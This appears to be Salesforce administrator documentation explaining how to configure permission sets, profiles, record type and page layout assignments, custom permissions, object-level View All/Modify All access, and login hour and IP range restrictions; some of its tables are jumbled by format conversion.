The Apps section of the permission sets overview page contains settings that are directly associated with the business processes the apps enable. For example, customer service agents might need to manage cases, so the “Manage Cases” permission is in the Call Center section of the App Permissions page. Some app settings aren’t related to app permissions. For example, to enable the Time-Off Manager app from the AppExchange, users need access to the appropriate Apex classes and Visualforce pages, as well as the object and field permissions that allow them to create new time-off requests.
System Settings

Some system functions apply to an organization and not to any single app. For example, “View Setup and Configuration” allows users to view setup and administrative settings pages. Other system functions apply to all apps. For example, the “Run Reports” and “Manage Dashboards” permissions allow managers to create and manage reports in all apps. In some cases, such as with “Modify All Data,” a permission applies to all apps, but also includes non-app functions, like the ability to download the Data Loader.

Permission Set Assigned Users Page

From the Assigned Users page, you can view all users who are assigned to a permission set, assign more users, and remove user assignments.

To view all users who are assigned to a permission set, from any permission set page, click Manage Assignments. From the Assigned Users page, you can:

- Assign users to the permission set
- Remove user assignments from the permission set
- Edit a user
- View a user’s detail page by clicking the name, alias, or username
- View a profile by clicking the profile name

EDITIONS

Available in: Salesforce Classic (not available in all orgs) and Lightning Experience
Available in: Essentials, Contact Manager, Professional, Group, Enterprise, Performance, Unlimited, Developer, and Database.com Editions

USER PERMISSIONS

To view users that are assigned to a permission set:

- View Setup and Configuration
Search Permission Sets

To quickly navigate to other pages in a permission set, you can enter search terms in any permission set detail page.

On any of the permission sets detail pages, type at least three consecutive letters of an object, setting, or permission name in the Find Settings... box. The search terms aren’t case-sensitive. As you type, suggestions for results that match your search terms appear in a list. Click an item in the list to go to its settings page.

For some categories, you can search for the specific permission or setting name. For other categories, search for the category name.

<table>
<thead>
<tr>
<th>Item</th>
<th>Search for</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>Assigned apps</td>
<td>App name</td>
<td>Type sales in the Find Settings box, then select Sales from the list.</td>
</tr>
<tr>
<td>Objects</td>
<td>Object name</td>
<td>Let’s say you have an Albums custom object. Type albu, then select Albums.</td>
</tr>
<tr>
<td>Fields, Record types</td>
<td>Parent object name</td>
<td>Let’s say your Albums object contains a Description field. Type albu, select Albums, and scroll down to Description under Field Permissions.</td>
</tr>
<tr>
<td>Tabs</td>
<td>Tab or parent object name</td>
<td>Type rep, then select Reports.</td>
</tr>
<tr>
<td>App and system permissions</td>
<td>Permission name</td>
<td>Type api, then select API Enabled.</td>
</tr>
<tr>
<td>All other categories</td>
<td>Category name</td>
<td>To find Apex class access settings, type apex, then select Apex Class Access. To find custom permissions, type cust, then select Custom Permissions. And so on.</td>
</tr>
</tbody>
</table>

If you don’t get any results, don’t worry. Here’s some tips that can help:

- Check if the search term has at least three consecutive characters that match the object, setting, or permission name.
- The permission, object, or setting you’re searching for might not be available in the current Salesforce org.
- The item you’re searching for might not be available for the user license that’s associated with the current permission set. For example, a permission set with the Standard Platform User license doesn’t include the “Modify All Data” permission.
- The permission set license associated with the permission set doesn’t include the object, setting, or permission name you’re searching for.
View and Edit Assigned Apps in Permission Sets

Assigned app settings specify the apps that users can select in the Lightning Platform app menu. Unlike profiles, you can't assign a default app in permission sets. You can only specify whether apps are visible.

To assign apps:

1. From Setup, in the Quick Find box, enter Permission Sets, and then select Permission Sets.
2. Select a permission set, or create one.
3. On the permission set overview page, click Assigned Apps.
4. Click Edit.
5. To assign apps, select them from the Available Apps list and click Add. To remove apps from the permission set, select them from the Enabled Apps list and click Remove.
6. Click Save.

Assign Custom Record Types in Permission Sets

You can assign record types to users in permission sets.

1. From Setup, in the Quick Find box, enter Permission Sets, and then select Permission Sets.
2. Select a permission set, or create one.
3. On the permission set overview page, click Object Settings, then click the object you want.
4. Click Edit.
5. Select the record types you want to assign to this permission set.
6. Click Save.

IN THIS SECTION:

How Is Record Type Access Specified?
Assign record types to users in their profiles or permission sets (or permission set groups), or a combination of these. Record type assignment behaves differently in profiles and permission sets.
How Is Record Type Access Specified?

Assign record types to users in their profiles or permission sets (or permission set groups), or a combination of these. Record type assignment behaves differently in profiles and permission sets.

Before assigning a record type, understand the different types available in your Salesforce org. The behavior for record creation depends on which record types are assigned and if you assign them via profiles or permission sets (or permission set groups).

- **Default Record Types:** A user’s default record type is specified in the user’s profile. Users can view their default record type and edit record type selection in personal settings. You can’t specify a default record type in permission sets.

- **Master Record Types:**
  - **In Profiles:** You can assign the master record type in profiles, but you can’t include custom record types in the profile.
  - **In Permission Sets:** You can assign only custom record types in permission sets, not master record types.

This chart includes examples of what happens when users create records with different combinations of record type assignments.

<table>
<thead>
<tr>
<th>Record Type Assigned on Profile</th>
<th>Custom Record Types in Permission Set (or Permission Set Group) Assigned</th>
<th>What Happens When a User Creates a Record</th>
</tr>
</thead>
<tbody>
<tr>
<td>--Master--</td>
<td>None</td>
<td>The new record is associated with the Master record type.</td>
</tr>
<tr>
<td>--Master--</td>
<td>One</td>
<td>The new record is associated with the custom record type. Users can’t select the Master record type.</td>
</tr>
<tr>
<td>--Master--</td>
<td>Multiple</td>
<td>Users are prompted to select a record type. Users are prompted to select a record type. In their personal settings, users can set an option to use their default record type and not be prompted to choose a record type.</td>
</tr>
<tr>
<td>Custom</td>
<td>One or more</td>
<td>Users are prompted to select a record type. Users are prompted to select a record type. In their personal settings, users can set an option to use their default record type and not be prompted to choose a record type.</td>
</tr>
</tbody>
</table>

When working with record type assignments, keep the following considerations in mind:

- Page layout assignments are specified in profiles only, not in permission sets. When a permission set specifies a custom record type, users with that permission set get the page layout assignment that’s specified for that record type in their profile. In profiles, page layout assignments are specified for every record type, even when record types aren’t assigned.

- Lead conversion default record types are specified in a user’s profile for the converted records. During lead conversion, the display of the user’s available record types is unsorted.

- Record type assignment on a user’s profile or permission set (or permission set group) doesn’t determine whether a user can view a record with that record type. The record type assignment simply specifies that the user can use that record type when creating or editing a record.
Enable Custom Permissions in Permission Sets

Custom permissions give you a way to provide access to custom processes or apps. After you’ve created a custom permission and associated it with a process or app, you can enable the permission in permission sets.

1. From Setup, enter Permission Sets in the Quick Find box, then select Permission Sets.
2. Select a permission set, or create one.
3. On the permission set overview page, click Custom Permissions.
4. Click Edit.
5. To enable custom permissions, select them from the Available Custom Permissions list and then click Add. To remove custom permissions from the permission set, select them from the Enabled Custom Permissions list and then click Remove.
6. Click Save.

Manage Permission Set Assignments

You can assign permission sets to a single user from the user detail page or assign multiple users to a permission set from any permission set page.

IN THIS SECTION:

Assign Permission Sets to a Single User
Assign permission sets or remove permission set assignments for a single user from the user detail page.

Assign a Permission Set to Multiple Users
Assign a permission set to one or more users from any permission set page.

Remove User Assignments from a Permission Set
From any permission set page, you can remove the permission set assignment from one or more users.
Assign Permission Sets to a Single User

Assign permission sets or remove permission set assignments for a single user from the user detail page.

Note: Some permissions require users to have a permission set license before you can grant the permissions. For example, if you add the Use Identity Connect user permission to the Identity permission set, you can assign only users with the Identity Connect permission set license to the permission set.

1. From Setup, in the Quick Find box, enter Users, and then select Users.
2. Select a user.
3. In the Permission Set Assignments related list, click Edit Assignments.
4. To assign a permission set, select it under Available Permission Sets and click Add. To remove a permission set assignment, select it under Enabled Permission Sets and click Remove.
5. Click Save.

Assign a Permission Set to Multiple Users

Assign a permission set to one or more users from any permission set page.

1. From Setup, in the Quick Find box, enter Permission Sets, and then click Permission Sets.
2. Select the permission set that you want to assign to users.
3. Click Manage Assignments and then Add Assignments.
4. Select the checkboxes next to the names of the users you want assigned to the permission set, and click Next.
5. Optionally, select an expiration date for the user assignment to expire. For more information, see Permission Set and Permission Set Group Assignment Expiration in Salesforce Help.
6. Click Assign.

Messages confirm success or indicate if a user doesn’t have the appropriate licenses for assignment.
Remove User Assignments from a Permission Set

From any permission set page, you can remove the permission set assignment from one or more users.

1. From Setup, in the Quick Find box, enter Permission Sets, and then select Permission Sets.
2. Select a permission set.
3. In the permission set toolbar, click Manage Assignments.
4. Select the users to remove from this permission set. You can remove up to 1,000 users at a time.
5. Click Remove Assignments.
6. To return to a list of all users assigned to the permission set, click Done.

Object Permissions

Object permissions specify the base-level access users have to create, read, edit, and delete records for each object. You can manage object permissions in permission sets and profiles.

Object permissions either respect or override sharing rules and settings. The following permissions specify the access that users have to objects.

<table>
<thead>
<tr>
<th>Permission</th>
<th>Description</th>
<th>Respects or Overrides Sharing?</th>
</tr>
</thead>
<tbody>
<tr>
<td>Read</td>
<td>Users can only view records of this type.</td>
<td>Respects sharing</td>
</tr>
<tr>
<td>Create</td>
<td>Users can read and create records.</td>
<td>Respects sharing</td>
</tr>
<tr>
<td>Edit</td>
<td>Users can read and update records.</td>
<td>Respects sharing</td>
</tr>
<tr>
<td>Delete</td>
<td>Users can read, edit, and delete records.</td>
<td>Respects sharing</td>
</tr>
<tr>
<td>View All</td>
<td>Users can view all records associated with this object, regardless of sharing settings.</td>
<td>Overrides sharing</td>
</tr>
<tr>
<td>Modify All</td>
<td>Users can read, edit, delete, transfer, and approve all records associated with this object, regardless of sharing settings.</td>
<td>Overrides sharing</td>
</tr>
</tbody>
</table>

Note: “Modify All” on documents allows access to all shared and public folders, but not the ability to edit folder properties or create new folders. To edit folder properties and create new folders,
users must have the “Manage Public Documents” permission.

Note: A profile or a permission set can have an entity, such as Account, with a master-detail relationship. A broken permission dependency exists if the child entity has permissions that the parent should have. Salesforce updates the parent entity for a broken permission dependency on the first save action for the profile or permission set.

<table>
<thead>
<tr>
<th>If the child entity has these permissions</th>
<th>These permissions are enabled on the parent entity</th>
</tr>
</thead>
<tbody>
<tr>
<td>Modify All OR View All</td>
<td>View All</td>
</tr>
<tr>
<td>View All OR Read</td>
<td>Read</td>
</tr>
</tbody>
</table>

IN THIS SECTION:

“View All” and “Modify All” Permissions Overview
The “View All” and “Modify All” permissions ignore sharing rules and settings, allowing administrators to grant access to records associated with a given object across the organization. “View All” and “Modify All” can be better alternatives to the “View All Data” and “Modify All Data” permissions.

Comparing Security Models

“View All” and “Modify All” Permissions Overview
The “View All” and “Modify All” permissions ignore sharing rules and settings, allowing administrators to grant access to records associated with a given object across the organization. “View All” and “Modify All” can be better alternatives to the “View All Data” and “Modify All Data” permissions.

Be aware of the following distinctions between the permission types.

<table>
<thead>
<tr>
<th>Permissions</th>
<th>Used for</th>
<th>Users who need them</th>
</tr>
</thead>
<tbody>
<tr>
<td>View All</td>
<td>Delegation of object permissions.</td>
<td>Delegated administrators who manage records for specific objects</td>
</tr>
<tr>
<td>Modify All</td>
<td></td>
<td></td>
</tr>
<tr>
<td>View All Data</td>
<td>Managing all data in an organization; for example, data cleansing, deduplication, mass deletion, mass transferring, and managing record approvals.</td>
<td>Administrators of an entire organization</td>
</tr>
<tr>
<td>Modify All Data</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Note: If a user requires access only to metadata for deployments, you can enable the Modify Metadata Through Metadata API Functions permission. This permission
### Permissions and Users

<table>
<thead>
<tr>
<th>Permissions</th>
<th>Used for</th>
<th>Users who need them</th>
</tr>
</thead>
<tbody>
<tr>
<td>View All Users</td>
<td>Viewing all users in the organization. Grants Read access to all users, so that you can see their user record details, see them in searches, list views, and so on.</td>
<td>Users who need to see all users in the organization. Useful if the organization-wide default for the user object is Private. Administrators with the Manage Users permission are automatically granted the View All Users permission.</td>
</tr>
<tr>
<td>View All Lookup Record Names</td>
<td>Viewing record names in all lookup and system fields.</td>
<td>Administrators and users who need to see all information about a record, such as its related records and the Owner, Created By, and Last Modified By fields. This permission only applies to lookup record names in list views and record detail pages.</td>
</tr>
</tbody>
</table>

View All and Modify All are not available for ideas, price books, article types, and products.

View All and Modify All allow for delegation of object permissions only. To delegate user administration and custom object administration duties, define delegated administrators.

View All for a given object doesn’t automatically give access to its detail objects. In this scenario, users must have Read access granted via sharing to see any associated child records to the parent record.

View All Users is available if your organization has User Sharing, which controls user visibility in the organization.

### Comparing Security Models

Salesforce user security is an intersection of sharing, and user and object permissions. In some cases, such as in end-user record level access, it is advantageous to use sharing to provide access to records. In other cases, such as when delegating record administration tasks like transferring records, cleansing data, deduplicating records, mass deleting records, and delegating workflow approval processes, it is advantageous to override sharing and use permissions to provide access to records.

The “Read,” “Create,” “Edit,” and “Delete” permissions respect sharing settings, which control access to data at the record level. The “View All” and “Modify All” permissions override sharing settings for specific objects. Additionally, the “View All Data” and “Modify All Data” permissions override sharing settings for all objects.

The following table describes the differences between the security models.

<table>
<thead>
<tr>
<th>Target audience</th>
<th>Permissions that Respect Sharing</th>
<th>Permissions that Override Sharing</th>
</tr>
</thead>
<tbody>
<tr>
<td>End-users</td>
<td>“Read,” “Create,” “Edit,” and “Delete” object permissions; Sharing settings</td>
<td>“View All” and “Modify All”</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Where managed</th>
<th>Delegated data administrators</th>
</tr>
</thead>
<tbody>
<tr>
<td>“View All” and “Modify All”</td>
<td></td>
</tr>
</tbody>
</table>

---

Available in: Salesforce Classic (not available in all orgs)

Available in: Enterprise, Performance, Unlimited, Developer, and Database.com Editions
<table>
<thead>
<tr>
<th><strong>Permissions that Respect Sharing</strong></th>
<th><strong>Permissions that Override Sharing</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Record access levels</strong></td>
<td><strong>“View All” and “Modify All”</strong></td>
</tr>
<tr>
<td>Private, Read-Only, Read/Write,</td>
<td></td>
</tr>
<tr>
<td>Read/Write/Transfer/Full Access</td>
<td></td>
</tr>
<tr>
<td><strong>Ability to transfer</strong></td>
<td>Available on all objects with “Modify All”</td>
</tr>
<tr>
<td>Respects sharing settings, which</td>
<td></td>
</tr>
<tr>
<td>vary by object</td>
<td></td>
</tr>
<tr>
<td><strong>Ability to approve records, or</strong></td>
<td>Available on all objects with “Modify All”</td>
</tr>
<tr>
<td>edit and unlock records in an</td>
<td></td>
</tr>
<tr>
<td>approval process</td>
<td></td>
</tr>
<tr>
<td>None</td>
<td></td>
</tr>
<tr>
<td><strong>Ability to report on all records</strong></td>
<td>Available on all objects with “View All”</td>
</tr>
<tr>
<td>Available with a sharing rule</td>
<td></td>
</tr>
<tr>
<td>that states: the records owned</td>
<td></td>
</tr>
<tr>
<td>by the public group “Entire</td>
<td></td>
</tr>
<tr>
<td>Organization” are shared with a</td>
<td></td>
</tr>
<tr>
<td>specified group, with Read-Only</td>
<td></td>
</tr>
<tr>
<td>access</td>
<td></td>
</tr>
<tr>
<td><strong>Object support</strong></td>
<td>Available on most objects via object</td>
</tr>
<tr>
<td>Available on all objects except</td>
<td>permissions</td>
</tr>
<tr>
<td>products, documents, solutions,</td>
<td></td>
</tr>
<tr>
<td>ideas, notes, and attachments</td>
<td></td>
</tr>
<tr>
<td><strong>Group access levels determined by</strong></td>
<td>Profile or permission sets</td>
</tr>
<tr>
<td>Roles, Roles and Subordinates,</td>
<td></td>
</tr>
<tr>
<td>Roles and Internal Subordinates,</td>
<td></td>
</tr>
<tr>
<td>Roles, Internal and Portal</td>
<td></td>
</tr>
<tr>
<td>Subordinates, Queues, Teams, and</td>
<td></td>
</tr>
<tr>
<td>Public Groups</td>
<td></td>
</tr>
<tr>
<td><strong>Private record access</strong></td>
<td>Available on private contacts,</td>
</tr>
<tr>
<td>Not available</td>
<td>opportunities, and notes and</td>
</tr>
<tr>
<td></td>
<td>attachments with “View All” and</td>
</tr>
<tr>
<td></td>
<td>“Modify All”</td>
</tr>
<tr>
<td>**Ability to manually share</td>
<td>Available on all objects with “Modify All”</td>
</tr>
<tr>
<td>records**</td>
<td></td>
</tr>
<tr>
<td>Available to the record owner</td>
<td></td>
</tr>
<tr>
<td>and any user above the record</td>
<td></td>
</tr>
<tr>
<td>owner in the role hierarchy</td>
<td></td>
</tr>
<tr>
<td>**Ability to manage all case</td>
<td>Available with “Modify All” on cases</td>
</tr>
<tr>
<td>comments**</td>
<td></td>
</tr>
<tr>
<td>Not available</td>
<td></td>
</tr>
</tbody>
</table>

**Note:** View All and Modify All are not available for ideas, price books, article types, and products.
Custom Permissions

Use custom permissions to give users access to custom processes or apps.

In Salesforce, many features require access checks that specify which users can access certain functions. Permission set and profiles settings include built-in access settings for many entities, like objects, fields, tabs, and Visualforce pages. However, permission sets and profiles don’t include access for some custom processes and apps. For example, in a time-off manager app, users might need to submit time-off requests, but only a small set of users approves time-off requests. You can use custom permissions for these types of controls.

Custom permissions let you define access checks that can be assigned to users via permission sets or profiles, similar to how you assign user permissions and other access settings. For example, you can define access checks in Apex that make a button on a Visualforce page available only if a user has the appropriate custom permission.

You can query custom permissions in these ways.

- To determine which users have access to a specific custom permission, use Apex and do something like the following.

```java
Boolean hasCustomPermission = FeatureManagement.checkPermission('your_custom_permission_api_name');
```

- To determine what custom permissions users have when they authenticate in a connected app, reference the user’s Identity URL, which Salesforce provides along with the access token for the connected app.

IN THIS SECTION:

Create Custom Permissions
Create custom permissions to give users access to custom processes or apps.

Edit Custom Permissions
Edit custom permissions that give users access to custom processes or apps.
Create Custom Permissions

Create custom permissions to give users access to custom processes or apps.

1. From Setup, enter Custom Permissions in the Quick Find box, then select Custom Permissions.
2. Click New.
3. Enter the permission information:
   - Label—the permission label that appears in permission sets
   - Name—the unique name that’s used by the API and managed packages
   - Description—optionally, a description that explains what functions the permission grants access to, such as “Approve time-off requests.”
   - Connected App—optionally, the connected app that’s associated with this permission
4. Click Save.

EDITIONS

Available in: both Salesforce Classic (not available in all orgs) and Lightning Experience
Available in: Essentials, Group, Professional, Enterprise, Performance, Unlimited, and Developer Editions

In Group and Professional Edition organizations, you can’t create or edit custom permissions, but you can install them as part of a managed package.

USER PERMISSIONS

To create custom permissions:
- Manage Custom Permissions
Edit Custom Permissions

Edit custom permissions that give users access to custom processes or apps.

1. From Setup, enter Custom Permissions in the Quick Find box, then select Custom Permissions.
2. Click Edit next to the permission to change.
3. Edit the permission information as needed.
   - Label—the permission label that appears in permission sets
   - Name—the unique name that's used by the API and managed packages
   - Description—optionally, a description that explains what functions the permission grants access to, such as "Approve time-off requests."
   - Connected App—optionally, the connected app that's associated with this permission
4. Click Save.

Profiles

Profiles define how users access objects and data, and what they can do within the application. When you create users, you assign a profile to each one.

Watch how you can grant users access to objects using profiles.

Who Sees What: Object Access (English only)

Your org includes several standard profiles where you can edit a limited number of settings. With editions that contain custom profiles, you can edit all permissions and settings except the user license. In Contact Manager and Group Edition orgs, you can assign standard profiles to your users, but you can't view or edit the standard profiles, and you can't create custom profiles.

Every profile belongs to exactly one user license type.

Note: When possible, assign users the Minimum Access - Salesforce profile, and then use permission sets and permission set groups to grant users only the permissions that they require. Apply permission sets to users based on the tasks that they do rather than their job title. Because you can reuse smaller permission set building blocks, you can avoid creating dozens or even hundreds of profiles for each user and job function. For more information, see Permission Sets in Salesforce Help.
IN THIS SECTION:

Work in the Enhanced Profile User Interface Page
In the enhanced profile user interface, the profile overview page provides an entry point for all settings and permissions for a profile.

Work in the Original Profile Interface
To view a profile on the original profile page, from Setup, enter Profiles in the Quick Find box, then select Profiles, then select the profile you want.

Manage Profile Lists
Profiles define how users access objects and data, and what they can do within the application. When you create users, you assign a profile to each one. To view the profiles in your organization, from Setup, enter Profiles in the Quick Find box, then select Profiles.

Edit Multiple Profiles with Profile List Views
If enhanced profile list views are enabled for your organization, you can change permissions in up to 200 profiles directly from the list view, without accessing individual profile pages.

Create or Clone Profiles
Create custom profiles using the API, or clone existing profiles and customize them to fit your business’s needs.

Viewing a Profile's Assigned Users
To view all users that are assigned to a profile from the profile overview page, click Assigned Users (in the enhanced profile user interface) or View Users (in the original profile user interface). From the assigned users page, you can:

View and Edit Tab Settings in Permission Sets and Profiles
Tab settings specify whether a tab appears in the All Tabs page or is visible in a tab set.

Enable Custom Permissions in Profiles
Custom permissions give you a way to provide access to custom processes or apps. After you’ve created a custom permission and associated it with a process or app, you can enable the permission in profiles.
Work in the Enhanced Profile User Interface Page

In the enhanced profile user interface, the profile overview page provides an entry point for all settings and permissions for a profile.

To open the profile overview page, from Setup, enter Profiles in the Quick Find box, then select Profiles and click the profile you want to view.

IN THIS SECTION:

Assign Record Types and Page Layouts in the Enhanced Profile User Interface
App and System Settings in the Enhanced Profile User Interface
Search in the Enhanced Profile User Interface
To locate an object, tab, permission, or setting name on a profile page, type at least three consecutive letters in the Find Settings box. As you type, suggestions for results that match your search terms appear in a list. Click an item in the list to go to its settings page.

View and Edit Login Hours in the Enhanced Profile User Interface
For each profile, you can specify the hours when users can log in.

Restrict Login IP Ranges in the Enhanced Profile User Interface
Control login access at the user level by specifying a range of allowed IP addresses on a user’s profile. When you define IP address restrictions for a profile, a login from any other IP address is denied.
Assign Record Types and Page Layouts in the Enhanced Profile User Interface

In the enhanced profile user interface, Record Types and Page Layout Assignments settings determine the record type and page layout assignment mappings that are used when users view records. They also determine which record types are available when users create or edit records.

To specify record types and page layout assignments:

1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile.
3. In the Find Settings... box, enter the name of the object you want and select it from the list.
4. Click Edit.
5. In the Record Types and Page Layout Assignments section, make changes to the settings as needed.

<table>
<thead>
<tr>
<th>Setting</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Record Types</td>
<td>Lists all existing record types for the object.</td>
</tr>
<tr>
<td>--Master--</td>
<td>is a system-generated record type that’s used when a record has no custom record type associated with it. When --Master-- is assigned, users can’t set a record type to a record, such as during record creation. All other record types are custom record types.</td>
</tr>
<tr>
<td>Page Layout Assignment</td>
<td>The page layout to use for each record type. The page layout determines the buttons, fields, related lists, and other elements that users with this profile see when creating records with the associated record type. Since all users can access all record types, every record type must have a page layout assignment, even if the record type isn’t specified as an assigned record type in the profile.</td>
</tr>
<tr>
<td>Assigned Record Types</td>
<td>Record types that are checked in this column are available when users with this profile create records for the object. If --Master-- is selected, you can’t select any custom record types; and if any custom record types are selected, you can’t select --Master--.</td>
</tr>
<tr>
<td>Default Record Type</td>
<td>The default record type to use when users with this profile create records for the object.</td>
</tr>
</tbody>
</table>

The Record Types and Page Layout Assignments settings have some variations for the following objects or tabs.

<table>
<thead>
<tr>
<th>Object or Tab</th>
<th>Variation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Accounts</td>
<td>If your organization uses person accounts, the accounts object additionally includes Business Account Default Record Type and Person Account Default Record Type settings, which specify the default record type to use when the profile’s users create business or person account records from converted leads.</td>
</tr>
</tbody>
</table>
### Assign Record Types to Profiles in the Original Profile User Interface

After you create record types and include picklist values in them, add record types to user profiles. If you assign a default record type to a profile, users with that profile can assign the record type to records that they create or edit.

**Note:** Users can view records of any record type, even if the record type is not associated with their profile.

You can associate several record types with a profile. For example, a user needs to create hardware and software sales opportunities. In this case, you can create and add both "Hardware" and "Software" record types to the user’s profile.

1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile. The record types available for that profile are listed in the Record Type Settings section.
3. Click Edit next to the appropriate type of record.
4. Select a record type from the Available Record Types list and add it to the Selected Record Types list.
   - **Master** is a system-generated record type that is used when a record has no custom record type associated with it. When you assign Master, users can’t set a record type to a record, such as during record creation. All other record types are custom record types.
5. From Default, choose a default record type.
   - If your organization uses person accounts, this setting also controls which account fields display in the Quick Create area of the accounts home page.

6. Click Save.
6. If your organization uses person accounts, set default record type options for both person accounts and business accounts. From the Business Account Default Record Type and then the Person Account Default Record Type drop-down list, choose a default record type.

   These settings are used when defaults are needed for both kinds of accounts, such as when converting leads.

7. Click Save.

   Options in the Record Type Settings section are blank wherever no record types exist. For example, if you have two record types for opportunities but no record types for accounts, the Edit link only displays for opportunities. In this example, the picklist values and default value for the master are available in all accounts.

   Note: If your organization uses person accounts, you can view the record type defaults for business accounts and person accounts. Go to Account Record Type Settings in the profile detail page. Clicking Edit in the Account Record Type Settings is another way to begin setting record type defaults for accounts.

Assign Page Layouts in the Original Profile User Interface

If you’re already working in an original profile user interface, you can access, view, and edit all page layout assignments easily in one location.

1. From Setup, enter Profiles in the Quick Find box, then select Profiles.

2. Select a profile.

3. Click View Assignment next to any tab name in the Page Layouts section.

4. Click Edit Assignment.

5. Use the table to specify the page layout for each profile. If your organization uses record types, a matrix displays a page layout selector for each profile and record type.
   - Selected page layout assignments are highlighted.
   - Page layout assignments you change are italicized until you save your changes.

6. If necessary, select another page layout from the Page Layout To Use drop-down list and repeat the previous step for the new page layout.

7. Click Save.
App and System Settings in the Enhanced Profile User Interface

In the enhanced profile user interface, administrators can easily navigate, search, and modify settings for a single profile. Permissions and settings are organized into pages under app and system categories, which reflect the rights users need to administer and use app and system resources.

App Settings

Apps are sets of tabs that users can change by selecting the drop-down menu in the header. All underlying objects, components, data, and configurations remain the same, regardless of the selected app. In selecting an app, users navigate in a set of tabs that allows them to efficiently use the underlying functionality for app-specific tasks. For example, let’s say you do most of your work in the sales app, which includes tabs like Accounts and Opportunities. To track a new marketing campaign, rather than adding the Campaigns tab to the sales app, you select Marketing from the app drop-down to view your campaigns and campaign members.

In the enhanced profile user interface, the Apps section of the overview page contains settings that are directly associated with the business processes that the apps enable. For example, customer service agents may need to manage cases, so the “Manage Cases” permission is in the Call Center section of the App Permissions page. Some app settings aren’t related to app permissions. For example, to enable the Time-Off Manager app from the AppExchange, users need access to the appropriate Apex classes and Visualforce pages, as well as the object and field permissions that allow them to create new time-off requests.

Note: Regardless of the currently selected app, all of a user’s permissions are respected. For example, although the “Import Leads” permission is under the Sales category, a user can import leads even while in the Service app.

System Settings

Some system functions apply to an organization and not to any single app. For example, login hours and login IP ranges control a user’s ability to log in, regardless of which app the user accesses. Other system functions apply to all apps. For example, the “Run Reports” and “Manage Dashboards” permissions allow managers to create and manage reports in all apps. In some cases, such as with “Modify All Data,” a permission applies to all apps, but also includes non-app functions, like the ability to download the Data Loader.

Search in the Enhanced Profile User Interface

To locate an object, tab, permission, or setting name on a profile page, type at least three consecutive letters in the Find Settings box. As you type, suggestions for results that match your search terms appear in a list. Click an item in the list to go to its settings page.

Search terms aren’t case-sensitive. For some categories, you can search for the specific permission or setting name. For other categories, search for the category name.

<table>
<thead>
<tr>
<th>Item</th>
<th>Search for</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>Assigned apps</td>
<td>App name</td>
<td>Type sales in the Find Settings box, then select Sales from the list.</td>
</tr>
<tr>
<td>Objects</td>
<td>Object name</td>
<td>Let’s say you have an Albums custom object. Type album, then select Albums.</td>
</tr>
</tbody>
</table>
Let’s say your Albums object contains a Description field. To find the Description field for albums, type `albu`, select Albums, and scroll down to Description under Field Permissions.

<table>
<thead>
<tr>
<th>Item</th>
<th>Search for</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fields</td>
<td>Parent object name</td>
<td></td>
</tr>
<tr>
<td>Record types</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Page layout assignments</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Tabs</td>
<td>Tab or parent object name</td>
<td>Type <code>rep</code>, then select Reports.</td>
</tr>
<tr>
<td>App and system permissions</td>
<td>Permission name</td>
<td>Type <code>api</code>, then select API Enabled.</td>
</tr>
<tr>
<td>All other categories</td>
<td>Category name</td>
<td>To find Apex class access settings, type <code>apex</code>, then select Apex Class Access. To find custom permissions, type <code>cust</code>, then select Custom Permissions. And so on.</td>
</tr>
</tbody>
</table>

If no results appear in a search:
- Check if the permission, object, tab, or setting you’re searching for is available in the current organization.
- Verify that the item you’re searching for is available for the user license that’s associated with the current profile. For example, a profile with the High Volume Customer Portal license doesn’t include the “Modify All Data” permission.
- Ensure that your search term contains at least three consecutive characters that match the name of the item you want to find.
- Make sure that you spelled the search term correctly.
View and Edit Login Hours in the Enhanced Profile User Interface

For each profile, you can specify the hours when users can log in.

1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile, and click its name.
3. In the profile overview page, scroll down to Login Hours and click Edit.
4. Set the days and hours when users with this profile can log in to the org.

To let users log in at any time, click **Clear all times**. To prohibit users from logging in on a specific day, set Start Time to **12 AM** and End Time to **12 AM**.

If users are logged in when their login hours end, they can continue to view their current page, but they can’t take any further action.

**Note:** The first time login hours are set for a profile, the hours are based on the org’s default time zone as specified on the Company Information page in Setup. After that, changes to the org’s default time zone on the Company Information page don’t affect the time zone for the profile’s login hours. The profile login hours remain the same, even when a user is in a different time zone or the org’s default time zone changes.

Depending on whether you’re viewing or editing login hours, the hours can be different. On the Login Hours edit page, hours appear in your specified time zone. On the profile overview page, hours appear in the org’s original default time zone.

**Editions**

Available in: Salesforce Classic (not available in all orgs) and Lightning Experience

Available in: Essentials, Professional, Enterprise, Performance, Unlimited, Developer, and Database.com Editions

Custom Profiles available in: Essentials, Professional, Enterprise, Performance, Unlimited, and Developer Editions

**User Permissions**

To view login hour settings:
- View Setup and Configuration

To edit login hour settings:
- Manage Profiles and Permission Sets
Restrict Login IP Ranges in the Enhanced Profile User Interface

Control login access at the user level by specifying a range of allowed IP addresses on a user's profile. When you define IP address restrictions for a profile, a login from any other IP address is denied.

1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile, and click its name.
3. In the profile overview page, click Login IP Ranges.
4. Specify allowed IP addresses for the profile.
   - To add a range of IP addresses from which users can log in, click Add IP Ranges. Enter a valid IP address in the IP Start Address and a higher-numbered IP address in the IP End Address field. To allow logins from only a single IP address, enter the same address in both fields.
   - To edit or remove ranges, click Edit or Delete for that range.

**Important:**
- The IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address space ::ffff:0:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is 255.255.255.255. A range can’t include IP addresses both inside and outside of the IPv4-mapped IPv6 address space. Ranges like 255.255.255.255 to ::1:0:0:0 or :: to ::1:0:0:0 aren’t allowed.
- Partner User profiles are limited to five IP addresses. To increase this limit, contact Salesforce.

5. Optionally enter a description for the range. If you maintain multiple ranges, use the Description field to provide details, like which part of your network corresponds to this range.

